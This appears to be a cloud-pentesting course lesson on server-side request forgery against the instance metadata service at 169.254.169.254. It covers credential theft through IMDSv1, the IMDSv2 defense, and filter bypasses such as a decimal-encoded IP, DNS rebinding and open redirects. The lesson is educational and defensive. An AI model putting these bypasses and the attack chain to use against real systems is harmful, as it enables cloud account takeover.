Metadata and SSRF

Every cloud VM can query a special internal endpoint to learn about itself: the Instance Metadata Service (IMDS). Critically, it can also hand out the temporary credentials of the role attached to the instance.

• AWS / GCP / Azure all expose metadata at 169.254.169.254
• It is reachable only from inside the instance
• It requires no authentication from local processes

This convenience becomes a weapon when combined with SSRF.

In the legacy IMDSv1, a single GET request returns metadata, including role credentials. No token needed.

This is exactly what makes IMDSv1 dangerous when an app has SSRF.

Server-Side Request Forgery (SSRF) is a vulnerability where an attacker tricks a server into making HTTP requests on their behalf. The server becomes a proxy into places the attacker cannot reach directly.

• A URL parameter that the server fetches
• A webhook, PDF generator, or image-resize feature
• Anything that takes a user-supplied URL

The classic SSRF target in the cloud is the metadata endpoint.

The deadly combination: an app with SSRF lets the attacker point the server at 169.254.169.254. The server fetches the instance's IAM credentials and returns them.

The attacker now holds cloud credentials, often the start of a full account takeover.

The metadata response contains an access key, secret key, and session token. The attacker exports them and immediately acts as the instance role.

From here they enumerate permissions and look for escalation paths.

AWS introduced IMDSv2 to blunt SSRF. It requires a session token obtained via an HTTP PUT request first, which most SSRF primitives cannot perform (they only do GET).

Enforcing IMDSv2 and setting a low hop limit dramatically reduces metadata theft via SSRF.

The other providers also expose metadata, with their own quirks. Both require a special header, which is itself a small SSRF mitigation.

• Azure requires Metadata: true
• GCP requires Metadata-Flavor: Google

Defenders often blocklist 169.254.169.254. Attackers bypass naive filters with alternate IP encodings and redirects.

• Decimal IP: 2852039166
• Octal/hex encodings of the same address
• DNS rebinding to a name that resolves to the metadata IP
• Open redirects that bounce the request to the metadata URL

Robust defenses must validate the resolved IP, not the raw string.

Metadata is the headline, but SSRF reaches more internal resources:

• Internal admin panels and dashboards bound to localhost
• Internal databases and caches (Redis, Elasticsearch)
• Kubernetes API server and kubelet endpoints
• Other microservices not exposed externally

SSRF effectively pierces the network perimeter from a trusted vantage point.

Breaking the SSRF-to-metadata chain takes layered defense:

• Enforce IMDSv2 and set the metadata hop limit to 1
• Validate and allowlist outbound URLs in fetch features
• Block requests to link-local and private IP ranges after DNS resolution
• Apply least privilege to instance roles so stolen creds are limited

Least-privilege roles ensure that even a successful theft yields little.

SSRF testing can reach sensitive internal systems by design. Be disciplined:

• Confirm the target host and cloud account are in scope
• Do not pivot into systems outside the engagement
• Stop and report once you have proven credential access

Reaching metadata is high impact, demonstrate it carefully, do not run wild with stolen keys.

Why does enforcing IMDSv2 help defend against SSRF-based credential theft?

You learned the most impactful cloud-specific attack chain.

• The metadata service at 169.254.169.254 hands out instance role credentials
• SSRF lets an attacker make the server fetch that endpoint
• Stolen temporary credentials enable account takeover
• IMDSv2 blocks most SSRF by requiring a PUT-based token
• Defend with URL allowlisting, IP validation, and least-privilege roles

That completes Cloud Pentesting. Next course: Bug Bounty Hunting.